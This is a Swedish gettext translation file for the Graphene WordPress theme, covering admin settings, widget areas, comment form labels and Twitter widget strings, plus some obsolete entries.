#: admin/options.php:112
msgid "Display"
msgstr "Utseende"

#: admin/options.php:113
msgid "Advanced"
msgstr "Avancerat"

#: admin/options.php:152
msgid "Save Options"
msgstr "Spara inställningar"

#: admin/options.php:164
msgid "Need help?"
msgstr "Behöver du hjälp?"

#: admin/options.php:168
msgid "Documentation Wiki"
msgstr "Dokumentation Wiki"

#: admin/options.php:169
msgid "Support Forum"
msgstr "Stödforum"

#: admin/options.php:171
#, php-format
msgid "Also, find out how you can %s."
msgstr "Ser hur du också kan %s."

#: admin/options.php:171
msgid "support the Graphene theme"
msgstr "stöd Graphene-temat"

#: admin/options.php:178
msgid "Support the developer"
msgstr "Stöd till utvecklaren"

#: admin/options.php:181
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Att utveckla detta fantastiska tema har krävt mycket svett och tid, flera månader av idogt frivilligt obetalt arbete. Om du gillar detta tema eller om du använder det för kommersiella webbplatser, vänligen överväg en donation till utvecklaren som stöd till framtida utveckling och uppdateringar."

#: admin/options.php:195
msgid "Graphene Theme news"
msgstr "Graphene Temanyheter"

#: admin/options.php:206
msgid "No news items."
msgstr "Inga nyhetsinlägg."

#: admin/options.php:223
msgid "Graphene Usage Survey"
msgstr "Graphene användarundersökning"

#: admin/options.php:226
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr "Hjälp oss lära känna dig bättre. Genomför undersökningen av Graphene temats användning nu. Varje åsikt räknas. Undersökningen är väldigt kort och du är helt anonym."

#: admin/options.php:227
msgid "Take the survey"
msgstr "Genomför undersökningen"

#: admin/options.php:237
msgid "Add-ons and plugins"
msgstr "Insticksprogram och tillägg"

#: admin/options.php:240
msgid "Add-ons"
msgstr "Tillägg"

#: admin/options.php:241
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr "Tillägg följer inte med temat, men kan installeras separat för att utöka temats möjligheter."

#: admin/options.php:245
msgid "Installed"
msgstr "Installerad"

#: admin/options.php:246
#: admin/options.php:265
msgid "Not installed"
msgstr "Ej installerad"

#: admin/options.php:246
msgid "Learn more"
msgstr "Mer information"

#: admin/options.php:247
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr "Mobiltillägget är utvecklat för optimal visning av din webbplats på mobilatelefoner, såsom iPhone eller Android enheter."

#: admin/options.php:250
msgid "Plugins"
msgstr "Tillägg"

#: admin/options.php:251
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr "Temat har inbyggt stöd för de tillägg som visas här. Du behöver bara installera och aktivera dem."

#: admin/options.php:264
msgid "Activated"
msgstr "Aktiverad"

#: admin/options.php:277
msgid "Options Presets"
msgstr "Grundinställningar för alternativ"

#: admin/options.php:280
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "Standardinställning för detta tema är för användning av blogg. Använder du detta tema främst för en vanlig webbsajt, eller om du vill återställa standardinställningarna, så kan du välja något av nedanstående alternativ."

#: admin/options.php:281
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Notera att du kan konfigurera enskilda inställningar efter applicering av grundinställningar."

#: admin/options.php:286
msgid "Select Options Preset"
msgstr "Välj grundinställningar för alternativ"

#: admin/options.php:289
msgid "Normal website"
msgstr "Vanlig webbplats"

#: admin/options.php:292
msgid "Reset to default settings"
msgstr "Återgå till standardinställningar"

#: admin/options.php:297
msgid "Apply Options Preset"
msgstr "Tillämpa grundinställningar"

#: admin/options.php:307
msgid "Import/export theme options"
msgstr "Importera/Exportera temainställningar"

#: admin/options.php:310
msgid "Import"
msgstr "Import"

#: admin/options.php:313
msgid "Import Theme options"
msgstr "Importera inställningar för temat"

#: admin/options.php:315
msgid "Export"
msgstr "Export"

#: admin/options.php:319
msgid "Export Theme options"
msgstr "Exportera temainställningar"

#: admin/options.php:329
msgid "Uninstall theme"
msgstr "Avinstallera tema"

#: admin/options.php:332
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Var försiktig!</strong> Avinstallation av detta tema komma att radera alla inställningar från databasen. Gör detta enbart om du har bestämt dig för att sluta använda temat."

#: admin/options.php:333
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance &gt; Themes admin page."
msgstr "Om du villl bara prova ett nytt tema, behöver du inte avinstallera detta tema. Det räcker att aktivera det andra temat under Utseende &gt; Hantera Teman."

#: admin/options.php:334
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances &gt; Themes and delete the theme from there."
msgstr "Notera att avinstallation av temat <strong>inte raderar</strong> temafilerna. För att radera filerna, gå till Utseende > Teman och radera temat där."

#: admin/options.php:351
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr "Förhandsvisningen uppdateras när du klickar på knappen \"Spara inställningar\" här ovanför."

#: admin/uninstall.php:24
#, php-format
msgid "Theme uninstalled. Redirecting to %s"
msgstr "Temat avinstallerat. Omdirigerar till %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Graphene-specifik information i användarprofil"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "Inställningarna som används här nyttjas enbart av Graphene temat."

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "URL till Författarens profilbild"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Du kan välja vilken bild som skall visas på författarens profil. Om ingen URL anges här, används istället författarens <a href=\"http://www.gravatar.com\">Gravatar</a>."

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Vänligen ange full URL (including <code>http://</code>) till din profilbild."

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>Viktigt: </strong>Bildbredd skall vara mindre eller lika med <strong>150px</strong>."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Namn på Sociala media"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Namn på Social media, t.ex. LinkedIn osv."

#: admin/js/admin.js.php:54
msgid "Social Media title"
msgstr "Rubrik för Sociala media"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr "Rubrik för sociala media. Om fältet är tomt, kommer en rubrik att skapas automatiskt."

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "URL till profil på socialt media"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "URL till din sida för social media."

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "URL till ikon för socialt media"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr "URL till ikon för sociala media. Notera: temat använder %s ikonpaketet för sociala medias ikoner. Vänligen länka ej direkt till ikoner på webbplatsen. Du kan istället ladda ner de ikoner du behöver och sedan ladda upp dem till din server."

#. translators: %1$s is the comment date, %2$s is the comment time
#: includes/theme-comments.php:34
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s kl. %2$s"

#: includes/theme-comments.php:36
msgid "Edit comment"
msgstr "Redigera kommentar"

#: includes/theme-comments.php:40
msgid "Reply"
msgstr "Svara"

#: includes/theme-comments.php:51
msgid "Your comment is awaiting moderation."
msgstr "Din kommentar väntar på att bli godkänd."

#: includes/theme-comments.php:76
msgid "Name:"
msgstr "Namn:"

#: includes/theme-comments.php:81
msgid "Email:"
msgstr "E-post:"

#: includes/theme-comments.php:86
msgid "Website:"
msgstr "Webbplats:"

#: includes/theme-comments.php:100
msgid "Message:"
msgstr "Meddelande:"

#: includes/theme-functions.php:72
#, php-format
msgid "Follow %s on Twitter"
msgstr "Följ %s på Twitter"

#: includes/theme-functions.php:75
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Besök %s's sida på Facebook"

#: includes/theme-functions.php:97
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Besök %1$s's %2$s sida"

#: includes/theme-loop.php:85
msgid "Continue reading &raquo;"
msgstr "Fortsätt läsa &raquo;"

#: includes/theme-loop.php:137
msgid "Older posts &laquo;"
msgstr "Tidigare inlägg &laquo;"

#: includes/theme-loop.php:138
msgid "&raquo; Newer posts"
msgstr "&raquo; Senare inlägg"

#: includes/theme-loop.php:140
msgid "Next page &raquo;"
msgstr "Nästa sida &raquo;"

#: includes/theme-loop.php:141
msgid "&laquo; Previous page"
msgstr "&laquo; Föregående sida"

#: includes/theme-loop.php:221
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>FEL: Vid anrop av funktionen graphene_get_post_image(), måste du ange ID för det objekt varifrån bilden hämtas.</strong>"

#: includes/theme-menu.php:65
msgid "Home"
msgstr "Hem"

#: includes/theme-panes.php:93
msgid "Read more"
msgstr "Läs mer"

#: includes/theme-setup.php:90
msgid "Header Menu"
msgstr "Huvudmeny"

#: includes/theme-setup.php:91
msgid "Secondary Menu"
msgstr "Sekundärmeny"

#: includes/theme-setup.php:92
msgid "Footer Menu"
msgstr "Sidfotsmeny"

#: includes/theme-setup.php:125
msgid "Header image by Syahir Hakim"
msgstr "Sidhuvudsbild av Syahir Hakim"

#: includes/theme-setup.php:129
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Detta är en standardbild för sidhuvudet i temat Graphene, en beskuren bild gjord av Quantin Houyoux vid sxc.hu"

#: includes/theme-setup.php:133
#: includes/theme-setup.php:137
#: includes/theme-setup.php:141
#: includes/theme-setup.php:145
#: includes/theme-setup.php:149
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Huvudbilden är en beskuren bild gjord av Ilco vid sxc.hu"

#: includes/theme-setup.php:204
msgid "Sidebar Widget Area"
msgstr "Widget-område i sidopanel"

#: includes/theme-setup.php:206
msgid "The first sidebar widget area (will always be displayed on the right hand side)."
msgstr "Detta widget-området nummer ett i sidopanelen visas enbart på huvudsidan."

#: includes/theme-setup.php:213
msgid "Sidebar Two Widget Area"
msgstr "Widget-område nummer två i sidopanel"

#: includes/theme-setup.php:215
msgid "The second sidebar widget area (will always be displayed on the left hand side)."
msgstr "Widget-område för andra sidreglaget (visas alltid på vänstra sidan)."

#: includes/theme-setup.php:222
msgid "Footer Widget Area"
msgstr "Widget-område i sidfot"

#: includes/theme-setup.php:224
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Widget-område i sidfot. Lämna blankt för att inaktivera. Ange antal kolumner på temats sida för Visningsinställningar."

#: includes/theme-setup.php:239
msgid "Front Page Sidebar Widget Area"
msgstr "Widget-område i sidopanel på huvudsidan"

#: includes/theme-setup.php:241
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "Detta widget-området nummer ett i sidopanelen visas enbart på huvudsidan."

#: includes/theme-setup.php:248
msgid "Front Page Sidebar Two Widget Area"
msgstr "Widget-område nummer två i huvudsidans sidopanel"

#: includes/theme-setup.php:250
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "Sidopanel nummer två visas enbart på huvudsidan."

#: includes/theme-setup.php:259
msgid "Front Page Footer Widget Area"
msgstr "Widget-område i huvudsidans sidfot"

#: includes/theme-setup.php:261
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Widget-område i sidfot som enbart visas på huvudsidan. Lämna blankt för att inaktivera. Antalet kolumner anges på temats sida för Visningsinställningar."

#: includes/theme-setup.php:271
msgid "Header Widget Area"
msgstr "Widget-område i sidhuvud"

#: includes/theme-setup.php:273
msgid "The header widget area."
msgstr "Widget-området i sidhuvudet."

#: includes/theme-setup.php:290
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr "Dynamiskt skapat widget-område. Detta widget-område är inhakade till händelsen %s."

#: includes/theme-slider.php:115
#: includes/theme-slider.php:143
msgid "View full post"
msgstr "Visa hela inlägget"

#: includes/theme-widgets.php:14
msgid "Display the latest Twitter status updates."
msgstr "Visa senaste statusuppdateringar på Twitter."

#: includes/theme-widgets.php:46
msgid "Loading tweets..."
msgstr "Laddar tweets..."

#: includes/theme-widgets.php:50
msgid "Follow me on Twitter"
msgstr "Följ mig på Twitter"

#: includes/theme-widgets.php:60
msgid "follower"
msgstr "prenumerant"

#: includes/theme-widgets.php:61
msgid "followers"
msgstr "prenumeranter"

#: includes/theme-widgets.php:93
msgid "Latest tweets"
msgstr "Senaste tweets"

#: includes/theme-widgets.php:100
msgid "Title:"
msgstr "Rubrik:"

#: includes/theme-widgets.php:104
msgid "Twitter Username:"
msgstr "Twitter-användarnamn:"

#: includes/theme-widgets.php:108
msgid "Number of tweets to display:"
msgstr "Antal tweets som skall visas:"

#: includes/theme-widgets.php:112
msgid "Show followers count"
msgstr "Visa antal prenumeranter"

#: includes/theme-widgets.php:116
msgid "Open links in new window"
msgstr "Öppna länkar i nytt fönster"

#~ msgid "Show essential options"
#~ msgstr "Visa viktigaste inställningar"

#~ msgid "Show all options"
#~ msgstr "Visa alla inställningar"

#~ msgid ""
#~ "Import and export is only available for to users with PHP version 5.2.1 "
#~ "and higher. You are using PHP version %s."
#~ msgstr ""
#~ "Import och export är tillgängliga enbart för dem som använder PHP version "
#~ "5.2.1 eller högre. Du använder PHP version %s."

#~ msgid "Show post author's gravatar"
#~ msgstr "Visa författarens gravatar"

#~ msgid "says:"
#~ msgstr "säger:"

#~ msgid ""
#~ "The first sidebar widget area (available in two and three column layouts)."
#~ msgstr ""
#~ "Första widget-området i sidopanel (visas i layout med två eller tre "
#~ "kolumner)."

#~ msgid ""
#~ "The second sidebar widget area (only available in three column layouts)."
#~ msgstr ""
#~ "Widget-område nummer två i sidopanel (Visas enbart i layout med tre "
#~ "kolumner)."

#~ msgid "% comments"
#~ msgstr "% kommentarer"

#~ msgid "% pings"
#~ msgstr "% pingar"

#~ msgid "by"
#~ msgstr "av"

#~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
#~ msgstr "<div class=\"link-pages\"><p><strong>Sidor:</strong> "

#~ msgid "Show Creative Commons logo"
#~ msgstr "Visa Creative Commons-logga"

#~ msgid "Settings saved."
#~ msgstr "Inställningarna har sparats."

#~ msgid "No comment yet"
#~ msgstr "Ingen kommentarer angivna"

#~ msgid "No ping yet"
#~ msgstr "Ingen ping"

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "Giltig XHTML 1.0 Strict"

#~ msgid "Valid CSS"
#~ msgstr "Giltig CSS"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "Giltig CSS Level 2.1"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr "%1$s använder %2$s temat utvecklad av %3$s."

#~ msgid "Feed Options"
#~ msgstr "Laddningsinställningar"

#~ msgid ""
#~ "Please enter only numerical value for the footer widget column count."
#~ msgstr ""
#~ "Vänligen använd endast numeriska värde för antalet sidfot widget kolumner."

#~ msgid ""
#~ "Please enter only numerical value for the front page footer widget column "
#~ "count."
#~ msgstr ""
#~ "Vänligen använd endast numeriska värde för antalet huvudsida widget "
#~ "kolumner."

#~ msgid ""
#~ "Please enter only numerical value for the navigation menu dropdown item "
#~ "width."
#~ msgstr ""
#~ "Vänligen använd endast numeriska värde för att ange bredden på "
#~ "rullgardinsmeny posten."

#~ msgid "Graphene Display Options"
#~ msgstr "Graphene visningsalternativ"

#~ msgid "ERROR:"
#~ msgstr "FEL:"

#~ msgid "Sidebar Options"
#~ msgstr "Sidreglage alternativ"

#~ msgid "Content sidebar location"
#~ msgstr "Placering för innehållets sidoreglage."

#~ msgid "Right"
#~ msgstr "Höger"

#~ msgid "Left"
#~ msgstr "Vänster"

#~ msgid ""
#~ "Will cause all posts and pages to be displayed in a single-column layout."
#~ msgstr "Alla inlägg och sidor visas med en-kolumns uppställning."

#~ msgid "Show post year"
#~ msgstr "Visa inläggsår"

#~ msgid "Only works if the option \"Hide post date\" is disabled."
#~ msgstr "Fungerar enbart om alternativ \"Göm inläggsddatum\" inaktiveras."

#~ msgid ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"
#~ msgstr ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"

#~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
#~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#~ msgid ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
#~ msgstr ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
#~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>"

#~ msgid ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"
#~ msgstr ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"

#~ msgid ""
#~ "If this is checked, the website title will be displayed first, followed "
#~ "by the page title."
#~ msgstr ""
#~ "Om du markera här, visas webbplatsens titel först, följd av sidans titel."

#~ msgid "Update Settings"
#~ msgstr "Uppdatera inställningar"

#~ msgid "You must enter your Adsense code to enable Adsense advertising"
#~ msgstr "Slå in din Adsense-kod för att aktivera Adsense-reklam"

#~ msgid ""
#~ "You must enter your AddThis button code to enable the AddThis social "
#~ "sharing button"
#~ msgstr ""
#~ "Slå in din AddThis-knappkod för att aktivera AddThis-delningsknappen"

#~ msgid ""
#~ "You must enter your Google Analytics tracking code to enable Google "
#~ "Analytics tracking."
#~ msgstr ""
#~ "Slå in din Google Analytics spårningskod för att aktivera Google "
#~ "Analytics-spårning."

#~ msgid ""
#~ "This setting only affects the slider if \"Show latest posts\" is selected "
#~ "above."
#~ msgstr ""
#~ "Denna inställning påverkar visningreglage enbart om \"Visa senaste inlägg"
#~ "\" här ovan väljs."

#~ msgid "AddThis Options"
#~ msgstr "AddThis inställningar"

#~ msgid "Your AddThis button code"
#~ msgstr "Din AddThis-knappkod"

#~ msgid ""
#~ "You can generate your button code from the <a href=\"http://www.addthis."
#~ "com/\">AddThis website</a>."
#~ msgstr ""
#~ "Du kan generera din egen knappkod på <a href=\"http://www.addthis.com/"
#~ "\">AddThis webbplats</a>."